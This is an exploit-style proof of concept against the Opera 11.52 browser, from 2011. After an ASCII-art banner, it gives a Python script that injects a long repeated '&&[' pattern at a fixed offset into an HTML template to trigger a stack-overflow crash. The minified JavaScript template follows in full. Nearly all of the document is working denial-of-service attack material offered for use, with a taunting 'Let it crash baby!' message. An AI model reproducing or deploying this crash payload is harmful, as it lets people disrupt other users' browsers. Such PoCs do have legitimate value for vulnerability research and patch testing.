Opera 11.52 – Denial of Service (PoC)
## _ (`-') _ (`-') (`-') _ _ ## ## \-.(OO ) (_) .-> ( OO).-> (OO ).-/ (_) <-. ## ## _.' \ ,-(`-') ,---(`-')/ '._ / ,---. ,-(`-'),--. ) .----. .----. ## ##(_...--'' | ( OO)' .-(OO )|'--...__)| \ /`.\ | ( OO)| (`-')\_,-. |\_.-, | ## ##| |_.' | | | )| | .-, `--. .--''-'|_.' | | | )| |OO ) .' .' |_ < ## ##| .___.'(| |_/ | | '.(_/ | | (| .-. |(| |_/(| '__ | .' /_ .-. \ | ## ##| | | |'->| '-' | | | | | | | | |'->| |'| |\ `-' / ## ##`--' `--' `-----' `--' `--' `--' `--' `-----' `------' `---'' ## ################################################################################### ################################################################################### October 19, 2011 Opera Denial of Service PoC (Stack Overflow) Testsystem: WinXP SP3, Win7(64 bit) Opera version: 11.? <= 11.52 #################################################################################### poc.html: <html> <body> </html> </body> #################################################################################### Python script 4 debugging (U will need this): #!/usr/bin/python content = open('template.html', 'r').read() filename = 'poc.html' pattern = 'HelloMrStack!' buff = '%/' + pattern + '&&[' * 10000 rc = 1041 content2 = content[:rc] + buff + content[rc:] FILE = open(filename,"w") FILE.write(content2) FILE.close() print "\nLet it crash baby!\n" #################################################################################### template.html: <html> <body> <script type="text/javascript">//<![CDATA[ function sj_wf(a){var b=arguments;return function(){a.apply(null,[].slice.apply(b).slice(1))}};function sj_ce(d,c,b){var a=_d.createElement(d);if(c)a.id=c;if(b)a.className=b;return a};function sj_be(a,b,c,d){if((a==_w||a==_d.body)&&b=="load")if("undefined"!=typeof _d.readyState&&"complete"===_d.readyState){c();return}if(a.addEventListener)a.addEventListener(b,c,d);else if(a.attachEvent)a.attachEvent("on"+b,c);else a["on"+b]=c}function sj_ue(a,b,c,d){if(a.removeEventListener)a.removeEventListener(b,c,d);else if(a.detachEvent)a.detachEvent("on"+b,c);else a["on"+b]=null};function sj_jb(h,f){for(var b=arguments,e,d,a=2,g={n:h};a<b.length;a+=2){e=b[a];d=b[a+1];sj_be(e,d,sj_wf(c,g,f,e,d))}a<3&&c(g,f);function c(a,d,b,e){b&&sj_ue(b,e,c);sj_evt.bind("onP1",function(){if(!a.l){a.l=1;var b=sj_ce("script");b.src=(d?"/fd/sa/"+_G.Ver:"/sa/"+_G.AppVer)+"/"+a.n+".js";sj_b.appendChild(b)}},1,5)}};function sj_ev(a){return sb_ie?event:a}function sj_et(a){return sb_ie?event.srcElement:a.target}function sj_mi(a){return sb_ie?event.fromElement:a.relatedTarget}function sj_mo(a){return sb_ie?event.toElement:a.relatedTarget};function sj_pd(a){if(sb_ie)event.returnValue=false;else a.preventDefault()};function sj_sp(a){if(sb_ie)a.cancelBubble=true;else a.stopPropagation()};function sj_we(a,c,b){while(a&&a!=(b||sj_b)){if(a==c)return!0;a=a.parentNode}return!1};function sj_go(a,c,d){var b=0;while(a.offsetParent&&a!=(d||sj_b)){b+=a["offset"+c];a=a.offsetParent}return b};function sj_anim(k){var a=this,j,d,h,g,c,e,i,b,f;a.init=function(m,g,k,l,h){j=m;c=g;e=k;i=l;f=h;if(!b)b=c;!d&&a.start()};a.start=function(){h=sb_gt();g=Math.abs(e-c-b)/i*25;d=setInterval(a.next,25)};a.stop=function(){clearInterval(d);d=0};a.next=function(){var d=sb_gt()-h;b=c+(e-c)*d/g;if(d>=g){a.stop();b=e;f&&f()}k(j,b)}};function sj_so(b,a){b.style.filter=a>=100?"":"alpha(opacity="+a+")";b.style.opacity=a/100};function sj_fader(){return new sj_anim(function(b,a){sj_so(b,a)})};sj_fade=new function(){this.up=function(b,c,d){a(b,0,100,c,e,d,1);function e(){b.style.visibility="visible"}};this.down=function(c,d,b){a(c,100,0,d,0,e,0);function e(){c.style.visibility="hidden";b&&b()}};function a(a,e,h,f,d,g,c){var b=a.fader;if(b){if(c==a.fIn)return}else{b=sj_fader();a.fader=b}d&&d();b.init(a,e,h,f,g);a.fIn=c}};function sj_gx(){return sb_i6?new ActiveXObject("MSXML2.XMLHTTP"):new XMLHttpRequest};(function(){var e,a=0,c=sj_evt,b=[];_w.si_PP&&b.push("onPP");for(;a<b.length;a++)c.bind(b[e=a],d,1);!a&&d();function d(){--e<1&&c.fire("onP1")}})();function lb(){var e=sj_evt,f="onSbBusy",b;e.bind(f,d,1);function d(a){b=a[1];e.unbind(f,d)}for(var a=1;a<4;++a){var g="sb_form"+(a>1?a:""),c=_ge(g);c&&!(b&&_ge(g+"_q")==b)&&c.reset&&c.reset()}_w.si_sendCReq&&sb_st(si_sendCReq,800);_w.lbc&&lbc()}(function(){var a=sj_evt,c="onSbBusy",b=null;a.bind(c,function(){sb_ct(b);b=sb_st(sj_wf(a.fire,"onSbIdle"),1100)});sj_be(_d,"keydown",function(b){a.fire(c,sj_et(b))})})();sj_evt.bind("onHTML",function(){var a=_ge("sb_form");a&&sj_be(a,"submit",sj_wf(sj_evt.fire,"onSearch",a))});function init(){}; //]]></script> </html> </body> |